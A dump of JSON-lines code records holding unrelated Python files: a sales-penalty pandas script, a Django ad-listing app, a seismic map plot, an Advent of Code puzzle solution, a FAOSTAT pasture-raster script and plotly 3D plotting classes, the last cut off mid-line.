'TT')\n self.assertEqual(olg_seqs, {2,3,4,5,6,7,8})\n self.assertAlmostEqual(score, 7/11)\n\n\nclass PredictorTest:\n def __init__(self):\n self.context_nt = 1\n self.min_activity = 0\n\n def compute_activity(self, start_pos, pairs):\n y = []\n for target, oligo_seq in pairs:\n target_without_context = target[self.context_nt:len(target) -\n self.context_nt]\n if oligo_seq == target_without_context:\n if oligo_seq[0] == 'A':\n y += [2]\n else:\n y += [1]\n else:\n y += [0]\n return y\n\n def cleanup_memoized(self, pos):\n pass\n\n\nclass OligoSearcherTest(search.OligoSearcher):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n def _find_oligos_in_window(self, start, end):\n if 0 not in self._memo:\n self._memo[0] = {}\n for i in range(start, end):\n self._memo[0][i] = 0\n\n seqs = self.aln.make_list_of_seqs(seqs_to_consider=[0, -1])\n return {seqs[0][start:start+self.min_oligo_length],\n seqs[1][end-self.max_oligo_length:end]}\n\n","sub_path":"adapt/utils/tests/test_search.py","file_name":"test_search.py","file_ext":"py","file_size_in_byte":20968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"245138384","text":"\n\"\"\"\n\n1、绩效明细表：前推三个月和前推两个月的绩效数据\n2、销售人员清单：当月31日/30日的\n3、首次M3明细表：要剔除不在当期的单子，SA姓名下去掉“虚拟”，“服务”，“通讯”。大区只保留【北，南，西，直管】，\n产品名称剔除“产品1，产品2...”\n\n\"\"\"\n\nprint(\"请先注意检查以下项：\\n1、绩效明细表：前推三个月和前推两个月的绩效数据\")\nprint(\"2、销售人员清单：当月31日/30日的\")\nprint(\"3、首次M3明细表：要剔除不在当期的单子，SA姓名下去掉“虚拟”，“服务”，“通讯”。大区只保留【北，南，西，直管】，产品名称剔除“产品1，产品2...”\")\nprint(\"4、请先计算区经区助扣罚免除\")\n\nimport pandas as pd\nfrom tqdm import tqdm\nimport numpy as np\nimport datetime\nprint(\"开始计算\")\nstarttime = datetime.datetime.now()\n#导入数据\nM3 = pd.read_excel(\"首次M3明细/首次M3明细表.xlsx\",dtype={'贷款编号':'O','SA工号':'O'})\ndata1 = pd.read_excel(\"首次M3明细/绩效明细表.xlsx\",dtype={'贷款编号':'O','核算工号':'O','区域经理助理编号':'O','区域经理编号':'O'})\nM3 = pd.merge(M3,data1,on=\"贷款编号\",how=\"left\")\n#导入销售人员清单\npeople = pd.read_excel('首次M3明细/销售人员清单.xlsx',dtype={'工号':'O'})\npeople = people[['工号','在岗状态']]\n#导入区经区助免除扣罚名单\nFree = pd.read_excel(\"输出/区经区助扣罚免除.xlsx\",dtype={\"区经工号\":'O'})\nFree = Free[[\"区经工号\",\"是否免扣\"]]\n\n#选取字段\nM3=M3[['贷款编号','SA工号','SA姓名','产品名称','商户','门店','区域经理助理编号','区域经理助理姓名','区域经理编号','区域经理姓名']]\n\n#区域经理助理扣罚\nM3_qz = M3.copy()\n#提取区助\nfor i in tqdm(range(len(M3_qz))):\n if pd.isnull(M3_qz.loc[i,\"区域经理助理编号\"]) ==True:\n M3_qz = M3_qz.drop(i)\n else:\n pass\nM3_qz = M3_qz.reset_index(drop=True)#重置索引\n\npeople_qz = people.copy()#复制一份销售人员清单的在职状态\npeople_qz = people_qz.rename(index=str,columns={\"工号\":'区域经理助理编号'})\nM3_qz = pd.merge(M3_qz,people_qz,on=\"区域经理助理编号\",how=\"left\")\nM3_qz = M3_qz[M3_qz[\"在岗状态\"]==\"在职\"]#区助在职的人员\nM3_qz = M3_qz.reset_index(drop=True)#重置索引\n#扣罚逻辑\nfor i in range(len(M3_qz)):\n if M3_qz.loc[i,\"产品名称\"] == '003产品':\n M3_qz.loc[i,\"区助扣罚金额\"] = 20\n else:\n M3_qz.loc[i,\"区助扣罚金额\"] = 18\nM3_qz[\"区经扣罚金额\"] = \"\"\n#区助是否免扣\nFree_qz = Free.copy()\nFree_qz = Free_qz.rename(index=str,columns={\"区经工号\":'区域经理助理编号'})\nM3_qz = pd.merge(M3_qz,Free_qz,on=\"区域经理助理编号\",how=\"left\")\nM3_qz = M3_qz[M3_qz[\"是否免扣\"] ==\"扣罚\"]\n\n#区域经理首次M3扣罚\nM3_qj = M3.copy()#复制一份\npeople_qj = people.copy()#复制一份销售人员清单在职状态\npeople_qj = people_qj.rename(index=str,columns={\"工号\":'区域经理编号'})#重命名\nfor i in tqdm(range(len(M3_qj))):\n if pd.isnull(M3_qj.loc[i,\"区域经理编号\"]) ==True:\n M3_qj = M3_qj.drop(i)\n else:\n pass\nM3_qj = M3_qj.reset_index(drop=True)\nM3_qj = pd.merge(M3_qj,people_qj,on=\"区域经理编号\",how=\"left\")\nM3_qj = M3_qj[M3_qj[\"在岗状态\"]==\"在职\"]\nM3_qj = M3_qj.reset_index(drop=True)\n\nM3_qj['区助扣罚金额'] = \"\"\n\nfor i in range(len(M3_qj)):\n if M3_qj.loc[i,\"产品名称\"] == '003产品':\n M3_qj.loc[i,\"区经扣罚金额\"] = 20\n else:\n M3_qj.loc[i,\"区经扣罚金额\"] = 30\n\n#区经是否免扣\nFree_qj = Free.copy()\nFree_qj = Free_qj.rename(index=str,columns={\"区经工号\":'区域经理编号'})\nM3_qj = pd.merge(M3_qj,Free_qj,on=\"区域经理编号\",how=\"left\")\nM3_qj = M3_qj[M3_qj[\"是否免扣\"] ==\"扣罚\"]\n\n#合并区经和区助的扣罚\nprint(\"计算完成！正在保存文件\")\nM3_result = pd.concat([M3_qj,M3_qz],sort=False)\nM3_result.to_excel(\"输出/区经区助单笔扣罚.xlsx\")\nprint(\"文件保存成功！good luck!\")\nendtime = datetime.datetime.now()\nprint(\"用时：%d秒\"%(endtime-starttime).seconds)","sub_path":"2-区域经理单笔扣罚.py","file_name":"2-区域经理单笔扣罚.py","file_ext":"py","file_size_in_byte":4183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"484347246","text":"\nfrom setuptools import setup\n# To use a consistent encoding\nfrom codecs import open\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\n\n# Get the long description from the README file\nwith open(path.join(here, 'README.rst'), encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(\n name='skwelecli',\n version='0.1.0',\n description='CLI client for Skwele',\n long_description=long_description,\n classifiers=[\n 'Development Status :: 1 - Planning',\n 'License :: OSI Approved :: MIT License',\n 'Environment :: Console',\n 'Intended Audience :: Information Technology',\n 'Programming Language :: Python :: 2.7',\n ],\n url='https://github.com/zarnovican/skwele-client',\n author='Brano Zarnovican',\n author_email='zarnovican@gmail.com',\n license='MIT',\n packages=['skwelecli'],\n install_requires=[\n 'cliff',\n 'requests',\n ],\n entry_points={\n 'console_scripts': ['skwele=skwelecli.main:main'],\n 'skwelecli': [\n 'dataset list = skwelecli.dataset:DatasetList',\n 'dataset show = skwelecli.dataset:Dataset',\n 'user list = skwelecli.user:UserList',\n 'user show = skwelecli.user:User',\n 'org list = skwelecli.org:OrgList',\n 'org show = skwelecli.org:Org',\n ],\n },\n include_package_data=True,\n zip_safe=False\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"7253281","text":"from mpl_toolkits.basemap import Basemap\nimport matplotlib.pyplot as plt\nimport numpy as np\n#epicenter used for back-projection\nlat_0 = -19.642\nlon_0 = -70.817\n\nmap = Basemap(projection='merc', lat_0=-19.572, lon_0=-70.908,\n resolution='h', llcrnrlon=lon_0-1.0, llcrnrlat=lat_0-1.0, \n urcrnrlon=lon_0+1.5, urcrnrlat=lat_0+1.5)\nmap.drawcoastlines()\nmap.drawcountries()\nmap.fillcontinents(color='coral')\nmap.drawmapboundary(fill_color='aqua')\n\n#extract the bp data\nf = open('../logfiles/pre_13_logfiles/total_shift')\nlon_bp = []\nlat_bp = []\nmg_bp = []\n\nfor line in f:\n lon, lat, mg = line.split()\n lon_bp.append(float(lon))\n lat_bp.append(float(lat))\n mg_bp.append(float(mg))\n\nf.close()\n\n#extract the catalog data\nf = open('../logfiles/pre_13_logfiles/total_cat_peak_data')\nlon_cat = []\nlat_cat = []\nmg_cat = []\n\nfor line in f:\n lat, lon, mg = line.split()\n lon_cat.append(float(lon))\n lat_cat.append(float(lat))\n mg_cat.append(float(mg))\n\nf.close()\n\n#back-projection points \nx_bp, y_bp = map(lon_bp, lat_bp)\nmap.plot(x_bp, y_bp, 'ro', markersize=8)\n\n#catalog points\nx_cat, y_cat = map(lon_cat, lat_cat)\nmap.plot(x_cat, y_cat, 'bo', markersize=8)\n\n#epicenter\nx_ep, y_ep = map(lon_0, lat_0)\nmap.plot(x_ep, y_ep, 'y*', markersize=18)\n\n#meridians and paralles\nmap.drawmeridians(np.arange(-72.0, -69.0, 1.), labels=[1,0,0,1], linewidth=0.0)\nmap.drawparallels(np.arange(-20.5, -17.0, 1.), labels=[1,0,0,1], linewidth=0.0)\n\nplt.show()\n","sub_path":"python_scripts/map_bp_vs_cat_0_6.py","file_name":"map_bp_vs_cat_0_6.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"513084751","text":"# coding: utf-8\n\nfrom django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^collect/$', views.collect),\n url(r'^display_collect/$', views.display_collect),\n url(r'^android_click_collect/', views.android_click_collect),\n url(r'^ios_jfq/$', views.ios_jfq),\n url(r'^ios_click_collect/', views.ios_click_collect)\n]\n","sub_path":"channel/channel_app/data_collect_views/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"43938851","text":"#!/usr/bin/env python\n\nimport sys\n\ninfilename = 'input.txt'\nif len(sys.argv) > 2 and sys.argv[1] == '-i':\n infilename = sys.argv[2]\n\nprint('Using input file: %s' % infilename)\n\nf = open(infilename, 'r')\ndata = f.readlines()\nf.close()\n\nscreen = [[0 for cc in range(50)] for rr in range(6)]\n#screen = [[0 for cc in xrange(7)] for rr in xrange(3)]\n\ndef print_screen(screen):\n for rr in range(len(screen)):\n for cc in range(len(screen[rr])):\n if screen[rr][cc]:\n print('#', end=' ')\n else:\n print(' ', end=' ')\n #print screen[rr][cc],\n print('')\n\nfor line in data:\n line = line.strip()\n\n if line.find('rect') >= 0:\n (x, y) = line.split()[1].split('x')\n\n for rr in range(int(y)):\n for cc in range(int(x)):\n screen[rr][cc] = 1\n\n print_screen(screen)\n\n elif line.find('rotate row') >= 0:\n (row_index, trash, iters) = line.split('=')[1].split(' ')\n print(line, ' ', row_index, ' ', iters)\n\n row = screen[int(row_index)]\n for ii in range(int(iters)):\n row = row[-1:] + row[:-1]\n screen[int(row_index)] = row\n\n print_screen(screen)\n elif line.find('rotate column') >= 0:\n (col_index, trash, iters) = line.split('=')[1].split(' ')\n \n col = [screen[rr][int(col_index)] for rr in range(len(screen))]\n for ii in range(int(iters)):\n col = col[-1:] + col[:-1]\n for rr in range(len(col)):\n screen[rr][int(col_index)] = col[rr]\n \n print_screen(screen)\n\n else:\n print('oops')\n\nnum = 0\nfor rr in range(len(screen)):\n for cc in range(len(screen[rr])):\n if screen[rr][cc]:\n num += 1\n\nprint()\nprint_screen(screen)\nprint(num)\n\n","sub_path":"2016/08/puzzle.py","file_name":"puzzle.py","file_ext":"py","file_size_in_byte":1800,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"110772172","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.views import View\nfrom django.http import HttpResponse\nfrom django.urls import reverse_lazy, reverse\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.db.models import Q\nfrom django.contrib.humanize.templatetags.humanize import naturaltime\n\nfrom .owner import OwnerListView, OwnerDetailView, OwnerDeleteView\nfrom .form import CreateForm, CommentForm\nfrom .models import Ad, Comment, Favorite\nfrom .utils import dump_queries\n\n\nclass AdListView(OwnerListView):\n model = Ad\n template_name = 'ads/ad_list.html'\n\n def get(self, request):\n # ad_list = Ad.objects.all().order_by('-updated_at')\n\n favorites = list()\n if request.user.is_authenticated:\n # rows = [{'id': 2}, {'id': 4} ... ] (A list of rows)\n rows = request.user.favorite_ads.values('id')\n favorites = [row['id'] for row in rows]\n\n str_val = request.GET.get(\"search\", False)\n if str_val:\n # # Simple title-only search\n # objects = Post.objects.filter(title__contains=str_val).select_related().order_by('-updated_at')[:10]\n\n # Multi-field search\n query = Q(title__contains=str_val)\n query.add(Q(text__contains=str_val), Q.OR)\n ad_list = Ad.objects.filter(query).select_related().order_by('-updated_at')[:]\n else:\n # try both versions with > 4 posts and watch the queries that happen\n ad_list = Ad.objects.all().order_by('-updated_at')[:]\n # objects = Ad.objects.select_related().all().order_by('-updated_at')[:]\n for ad in ad_list:\n ad.natural_created = naturaltime(ad.created_at)\n ad.natural_updated = naturaltime(ad.updated_at)\n if len(ad.text) > 50:\n ad.text_preview = ad.text[:50] + '...'\n else:\n ad.text_preview = ad.text\n\n ctx = {\n \"ad_list\": ad_list,\n \"favorites\": favorites,\n \"search\": str_val,\n }\n # dump_queries() # check SQL queries\n return render(request, self.template_name, ctx)\n\n\nclass AdDetailView(OwnerDetailView):\n model = Ad\n template_name = 'ads/ad_detail.html'\n\n def get(self, request, pk):\n ad = Ad.objects.get(id=pk)\n\n comments = Comment.objects.filter(ad=ad).order_by('-updated_at')\n comment_form = CommentForm()\n\n favorites = list()\n if request.user.is_authenticated:\n rows = request.user.favorite_ads.values('id')\n favorites = [row['id'] for row in rows]\n\n ctx = {\n 'ad': ad,\n 'comments': comments,\n 'comment_form': comment_form,\n 'favorites': favorites,\n }\n return render(request, self.template_name, ctx)\n\n\nclass AdCreateView(LoginRequiredMixin, View):\n template_name = 'ads/ad_form.html'\n success_url = reverse_lazy('ads:index')\n\n def get(self, request):\n form = CreateForm()\n ctx = {\n 'form': form,\n }\n return render(request, self.template_name, ctx)\n\n def post(self, request):\n form = CreateForm(request.POST, request.FILES or None)\n if not form.is_valid():\n ctx = {\n 'form': form,\n }\n return render(request, self.template_name, ctx)\n\n # Add owner to the model before saving\n ad = form.save(commit=False)\n ad.owner = self.request.user\n ad.save()\n return redirect(self.success_url)\n\n\nclass AdUpdateView(LoginRequiredMixin, View):\n template_name = 'ads/ad_form.html'\n success_url = reverse_lazy('ads:index')\n\n def get(self, request, pk):\n ad = get_object_or_404(Ad, id=pk, owner=self.request.user)\n form = CreateForm(instance=ad)\n ctx = {\n 'form': form,\n }\n return render(request, self.template_name, ctx)\n\n def post(self, request, pk):\n ad = get_object_or_404(Ad, id=pk, owner=self.request.user)\n form = CreateForm(request.POST, request.FILES or None, instance=ad)\n if not form.is_valid():\n ctx = {\n 'form': form,\n }\n return render(request, self.template_name, ctx)\n\n ad = form.save(commit=False)\n ad.save()\n return redirect(self.success_url)\n\n\nclass AdDeleteView(OwnerDeleteView):\n model = Ad\n template_name = 'ads/ad_confirm_delete.html'\n success_url = reverse_lazy('ads:index')\n\n\ndef stream_file(request, pk):\n ad = get_object_or_404(Ad, id=pk)\n response = HttpResponse()\n response['Content-Type'] = ad.content_type\n response['Content-Length'] = len(ad.picture)\n response.write(ad.picture)\n return response\n\n\nclass CommentCreateView(LoginRequiredMixin, View):\n def post(self, request, pk):\n ad = get_object_or_404(Ad, id=pk)\n comment = Comment(text=request.POST['comment'], owner=request.user, ad=ad)\n comment.save()\n return redirect(reverse('ads:detail', args=[pk]))\n\n\nclass CommentDeleteView(OwnerDeleteView):\n model = Comment\n template_name = \"ads/comment_confirm_delete.html\"\n\n # https://stackoverflow.com/questions/26290415/deleteview-with-a-dynamic-success-url-dependent-on-id\n def get_success_url(self):\n ad = self.object.ad\n return reverse('ads:detail', args=[ad.id])\n\n\n# csrf exemption in class based views\n# https://stackoverflow.com/questions/16458166/how-to-disable-djangos-csrf-validation\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.utils.decorators import method_decorator\nfrom django.db.utils import IntegrityError\n\n\n@method_decorator(csrf_exempt, name='dispatch')\nclass AddFavoriteView(LoginRequiredMixin, View):\n def post(self, request, pk):\n print(\"Add PK\", pk)\n title = get_object_or_404(Ad, id=pk)\n try:\n Favorite(user=request.user, ad=title).save() # In case of duplicate key\n except IntegrityError as e:\n pass\n return HttpResponse()\n\n\n@method_decorator(csrf_exempt, name='dispatch')\nclass DeleteFavoriteView(LoginRequiredMixin, View):\n def post(self, request, pk):\n print(\"Delete PK\", pk)\n title = get_object_or_404(Ad, id=pk)\n try:\n Favorite.objects.get(user=request.user, ad=title).delete()\n except Favorite.DoesNotExist as e:\n pass\n return HttpResponse()\n","sub_path":"adlist/ads/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"649727645","text":"# coding=utf-8\n\nSTATUS = 'ON HOLD, until I hear back from herrero, who may have already done this.'\nimport math, os, sys, time, random, shutil, logging, csv, json\n\nimport numpy as np\nfrom osgeo import gdal, osr, ogr\nimport pandas as pd\nimport geopandas as gpd\nfrom collections import OrderedDict\nimport logging\n\nimport numdal as nd\nimport geoecon as ge\nimport hazelbean as hb\n\nCONFIG = nd.config\nL = CONFIG.LOGGER\nL.setLevel(logging.INFO)\n\ndef get_default_kw(**kw):\n # This required function is called outside of this code's scope to create a kwargs dicitonary. It will be passed to each\n # step in the projects logic, potentially modified, then passed to the next.\n L.debug('Getting default keywords.')\n if not kw:\n kw = OrderedDict()\n if type(kw) is not OrderedDict:\n kw = OrderedDict(kw)\n\n ### These should be the only lines that need editing for a new project.\n kw['project_name'] = kw.get('project_name', 'ipbes') # Name of the project being run. A project is a specific implementation of the repository's code to some input data relative to the workspace_dir.\n kw['project_dir'] = kw.get('project_dir', os.path.join('c:/onedrive/projects', 'ipbes')) # This is the ONLY absolute path and it is specific to the researcher and the researcher's current project.\n kw['repository_dir'] = 'ipbes_0.1' # This is the only dir that will be under Version Control. Don't put code anywhere else.\n\n ### Generic non-project-specific dir links.\n kw['base_data_dir'] = kw.get('base_data_dir', CONFIG.BASE_DATA_DIR)\n kw['bulk_data_dir'] = kw.get('bulk_data_dir', CONFIG.BULK_DATA_DIR)\n kw['external_bulk_data_dir'] = kw.get('external_bulk_data_dir', CONFIG.EXTERNAL_BULK_DATA_DIR)\n\n ### Generic project-specific dirs from kwargs.\n kw['input_dir'] = kw.get('input_dir', os.path.join(kw['project_dir'], 'input')) # New inputs specific to this project.\n kw['project_base_data_dir'] = kw.get('project_base_data_dir', os.path.join(kw['project_dir'], 'base_data')) # Data that must be redistributed with this project for it to work. Do not put actual base data here that might be used across many projects.\n kw['temporary_dir'] = kw.get('temporary_dir', CONFIG.TEMPORARY_DIR) # Generates new run_dirs here. Useful also to set the numdal temporary_dir to here for the run.\n kw['test_dir'] = kw.get('temporary_dir', CONFIG.TEST_DATA_DIR) # Generates new run_dirs here. Useful also to set the numdal temporary_dir to here for the run.\n #kw['intermediate_dir'] = kw.get('input_dir', os.path.join(kw['project_dir'], kw['temporary_dir'])) # If generating lots of data, set this to temporary_dir so that you don't put huge data into the cloud.\n kw['intermediate_dir'] = kw.get('intermediate_dir', os.path.join(kw['project_dir'], 'intermediate')) # If generating lots of data, set this to temporary_dir so that you don't put huge data into the cloud.\n kw['output_dir'] = kw.get('output_dir', os.path.join(kw['project_dir'], 'output')) # the final working run is move form Intermediate to here and any hand-made docs are put here.\n kw['run_string'] = kw.get('run_string', nd.pretty_time()) # unique string with time-stamp. To be used on run_specific identifications.\n kw['run_dir'] = kw.get('run_dir', os.path.join(kw['temporary_dir'], '0_seals_' + kw['run_string'])) # ready to delete dir containing the results of one run.\n kw['basis_name'] = kw.get('basis_name', '') # Specify a manually-created dir that contains a subset of results that you want to use. For any input that is not created fresh this run, it will instead take the equivilent file from here. Default is '' because you may not want any subsetting.\n kw['basis_dir'] = kw.get('basis_dir', os.path.join(kw['intermediate_dir'], kw['basis_name'])) # Specify a manually-created dir that contains a subset of results that you want to use. For any input that is not created fresh this run, it will instead take the equivilent file from here. Default is '' because you may not want any subsetting.\n\n ### Common base data references\n kw['country_names_uri'] = os.path.join(kw['base_data_dir'], 'misc', 'country_names.csv')\n kw['country_ids_raster_uri'] = os.path.join(kw['base_data_dir'], 'misc', 'country_ids.tif')\n\n ### Base-data links\n kw['proportion_pasture_uri'] = os.path.join(CONFIG.BASE_DATA_DIR, 'earthstat', 'proportion_pasture.tif')\n kw['faostat_pasture_uri'] = os.path.join(CONFIG.BASE_DATA_DIR, 'fao', 'faostat', 'Production_LivestockPrimary_E_All_Data_(Norm).csv')\n\n ### Project-specific data inputs\n # kw['input_csv_uri'] = kw.get('input_csv_uri', os.path.join(kw['input_dir'], 'LinkFile.csv'))\n\n\n # Runtime conditionals.\n kw['extract_pasture_data_from_faostat'] = kw.get('extract_pasture_data_from_faostat', True)\n kw['write_pasture_production_to_raster'] = kw.get('write_pasture_production_to_raster', True)\n kw['plot_global_production'] = kw.get('plot_global_production', True)\n\n return kw\n\n\ndef execute(**kw):\n L.info('Executing script.')\n if not kw:\n kw = get_default_kw()\n\n kw = setup_dirs(**kw)\n\n if kw['extract_pasture_data_from_faostat']:\n kw['pasture_csv_uri'] = os.path.join(kw['run_dir'], 'pasture_by_country.csv')\n kw = extract_pasture_data_from_faostat(**kw)\n else:\n kw['pasture_csv_uri'] = os.path.join(kw['basis_dir'], 'pasture_by_country.csv')\n\n if kw['write_pasture_production_to_raster']:\n kw['production_by_country_uri'] = os.path.join(kw['run_dir'], 'production_by_country.tif')\n kw['production_per_cell_uri'] = os.path.join(kw['run_dir'], 'production_per_cell.tif')\n kw = write_pasture_production_to_raster(**kw)\n else:\n kw['production_by_country_uri'] = os.path.join(kw['basis_dir'], 'production_by_country.tif')\n kw['production_per_cell_uri'] = os.path.join(kw['basis_dir'], 'production_per_cell.tif')\n\n if kw['plot_global_production']:\n kw = plot_global_production(**kw)\n else:\n pass\n\n return kw\n\ndef setup_dirs(**kw):\n L.debug('Making default dirs.')\n\n dirs = [kw['project_dir'], kw['input_dir'], kw['intermediate_dir'], kw['run_dir'], kw['output_dir']]\n hb.create_dirs(dirs)\n\n return kw\n\ndef extract_pasture_data_from_faostat(**kw):\n L.info('Running extract_pasture_data_from_faostat')\n\n country_names_df = pd.read_csv(kw['country_names_uri'], encoding='latin-1', index_col=False)\n pasture_fao_df = pd.read_csv(kw['faostat_pasture_uri'], encoding='latin-1', index_col=False, converters={'Year': lambda x: str(x)})\n\n df = pd.merge(country_names_df[['FAOSTAT_augmented', 'id']], pasture_fao_df,'inner', left_on='FAOSTAT_augmented', right_on='Country Code', )\n df.drop(['FAOSTAT_augmented', 'Item Code', 'Element Code', 'Flag', 'Year Code', 'Country Code'], axis=1, inplace=True)\n df.set_index(['id', 'Item', 'Year', 'Element', 'Unit'], inplace=True)\n\n\n df = df.xs('2000', level='Year')\n df = df.xs('Production', level='Element')\n df = df.xs('tonnes', level='Unit')\n\n df = ge.explode_df(df)\n\n df = df.reset_index()\n df.set_index(['id'], inplace=True) # Had to remove previous indices because it fell out in the XS being only = 2000.\n\n\n df = df[df['Item'].str.contains(\"Meat|meat\", na=False)]\n\n df = df.drop('Item', axis=1)\n\n\n # START HERE, get this to properly add in country names.\n df_grouped = df.groupby([df.index.get_level_values('id')]).sum()\n # print(df_grouped)\n # print(df)\n # df = df.reset_index()\n # print(df)\n df = pd.merge(df_grouped, df, left_index=True, right_index=True, how='inner')\n # df.set_index(['id'], inplace=True) # Had to remove previous indices because it fell out in the XS being only = 2000.\n\n df.to_csv(kw['pasture_csv_uri'])\n\n return kw\n\ndef write_pasture_production_to_raster(**kw):\n L.info('Running write_pasture_production_to_raster')\n\n ids = nd.ArrayFrame(kw['country_ids_raster_uri'])\n ids = ids.set_data_type(7)\n ids = ids.set_no_data_value(-9999.0)\n ids_present = nd.get_value_count_odict_from_array(ids.data)\n\n\n df = pd.read_csv(kw['pasture_csv_uri'])\n rules = dict(zip(df['id'], df['Value']))\n\n # For countries that are not in the database, we don't want to write the id value and instead want zero.\n for k, v in ids_present.items():\n if k not in rules:\n rules[k] = 0\n\n # Write the values in the rules (Production tons) to the locations of the countrys.\n production_by_country_array = nd.reclassify_int_array_by_dict_to_floats(ids.data.astype(np.int), rules).astype(np.float64)\n production_by_country = nd.ArrayFrame(production_by_country_array, ids, data_type=7, output_uri=kw['production_by_country_uri'])\n\n proportion_pasture = nd.ArrayFrame(kw['proportion_pasture_uri'])\n\n global_production = np.zeros(proportion_pasture.shape)\n for country_id, production_total in rules.items():\n L.info(str(country_id) + ', ' + str(production_total))\n\n if production_total > 0:\n\n proportion_in_country = np.where(ids.data == country_id, proportion_pasture.data, 0)\n\n total_proportion_in_country = np.sum(proportion_in_country)\n\n if total_proportion_in_country > 0:\n L.info('production_total ' + str(production_total))\n L.info('total_proportion_in_country ' + str(total_proportion_in_country))\n production_per_proportion = production_total / total_proportion_in_country\n L.info('production_per_proportion ' + str(production_per_proportion))\n\n\n # production = production_per_proportion * proportion_pasture.data\n production = np.where(ids.data == country_id, production_per_proportion * proportion_pasture.data, 0)\n\n\n\n L.info('production ' + str(np.sum(production)))\n\n global_production += production\n L.info('global_production ' + str(np.sum(global_production)))\n\n global_production_af = nd.ArrayFrame(global_production, proportion_pasture, output_uri=kw['production_per_cell_uri'])\n\n return kw\n\ndef plot_global_production(**kw):\n af = nd.ArrayFrame(kw['production_per_cell_uri'])\n af.show(vmin=0, vmax=1500, use_basemap=True, title='Meat Production', cbar_label='Tons per cell')\n\n\nmain = 'Here'\nif __name__ == '__main__':\n kw = get_default_kw()\n\n kw['extract_pasture_data_from_faostat'] = 1\n kw['write_pasture_production_to_raster'] = 0\n kw['plot_global_production'] = 0\n\n kw = execute(**kw)\n\n L.info('Script complete.')\n","sub_path":"calc_pasture_es.py","file_name":"calc_pasture_es.py","file_ext":"py","file_size_in_byte":10528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"316404373","text":"import numpy as np\nimport plotly.graph_objs as go\nfrom matplotlib.cm import get_cmap\nfrom plotly import colors\nfrom plotly.tools import FigureFactory as FF\n\ntry:\n from plotly.figure_factory._trisurf import trisurf as trisurface\nexcept ImportError:\n pass\n\nimport param\n\nfrom ...core.options import SkipRendering\nfrom .element import ElementPlot, ColorbarPlot\nfrom .chart import ScatterPlot\n\nclass Chart3DPlot(ElementPlot):\n\n aspect = param.Parameter(default='cube')\n\n camera_angle = param.NumericTuple(default=(0.2, 0.5, 0.1, 0.2))\n\n camera_position = param.NumericTuple(default=(0.1, 0, -0.1))\n\n camera_zoom = param.Integer(default=3)\n\n projection = param.String(default='3d')\n\n def init_layout(self, key, element, ranges):\n l, b, zmin, r, t, zmax = self.get_extents(element, ranges)\n\n xd, yd, zd = (element.get_dimension(i) for i in range(3))\n xaxis = dict(range=[l, r], title=xd.pprint_label)\n if self.logx:\n xaxis['type'] = 'log'\n\n yaxis = dict(range=[b, t], title=yd.pprint_label)\n if self.logy:\n yaxis['type'] = 'log'\n\n zaxis = dict(range=[zmin, zmax], title=zd.pprint_label)\n if self.logz:\n zaxis['type'] = 'log'\n\n opts = {}\n if self.aspect == 'cube':\n opts['aspectmode'] = 'cube'\n else:\n opts['aspectmode'] = 'manual'\n opts['aspectratio'] = self.aspect\n scene = go.layout.Scene(xaxis=xaxis, yaxis=yaxis,\n zaxis=zaxis, **opts)\n\n return dict(width=self.width, height=self.height,\n title=self._format_title(key, separator=' '),\n plot_bgcolor=self.bgcolor, scene=scene)\n\n\nclass SurfacePlot(ColorbarPlot, Chart3DPlot):\n\n graph_obj = go.Surface\n\n style_opts = ['opacity', 'lighting', 'lightposition', 'cmap']\n\n def graph_options(self, element, ranges):\n opts = super(SurfacePlot, self).graph_options(element, ranges)\n style = self.style[self.cyclic_index]\n copts = self.get_color_opts(element.vdims[0], element, ranges, style)\n return dict(opts, **copts)\n\n\n def get_data(self, element, ranges):\n return (), dict(x=element.dimension_values(0, False),\n y=element.dimension_values(1, False),\n z=element.dimension_values(2, flat=False))\n\n\nclass Scatter3dPlot(ScatterPlot, Chart3DPlot):\n\n graph_obj = go.Scatter3d\n\n def get_data(self, element, ranges):\n return (), dict(x=element.dimension_values(0),\n y=element.dimension_values(1),\n z=element.dimension_values(2))\n\n\nclass TriSurfacePlot(ColorbarPlot, Chart3DPlot):\n\n style_opts = ['cmap']\n\n def get_data(self, element, ranges):\n try:\n from scipy.spatial import Delaunay\n except:\n SkipRendering(\"SciPy not available, cannot plot TriSurface\")\n x, y, z = (element.dimension_values(i) for i in range(3))\n points2D = np.vstack([x, y]).T\n tri = Delaunay(points2D)\n simplices = tri.simplices\n return (x, y, z, simplices, self.colorbar, 'black', None), {}\n\n def graph_options(self, element, ranges):\n opts = self.style[self.cyclic_index]\n if 'cmap' in opts:\n cmap = opts.pop('cmap')\n if cmap in colors.PLOTLY_SCALES:\n opts['colormap'] = colors.PLOTLY_SCALES[cmap]\n else:\n cmap = get_cmap(cmap)\n opts['colormap'] = [cmap(i) for i in np.linspace(0, 1)]\n return opts\n\n def init_graph(self, plot_args, plot_kwargs):\n if hasattr(FF, '_trisurf'):\n trisurf = FF._trisurf(*plot_args[:-1], **plot_kwargs)\n else:\n trisurf = trisurface(*plot_args, **plot_kwargs)\n return 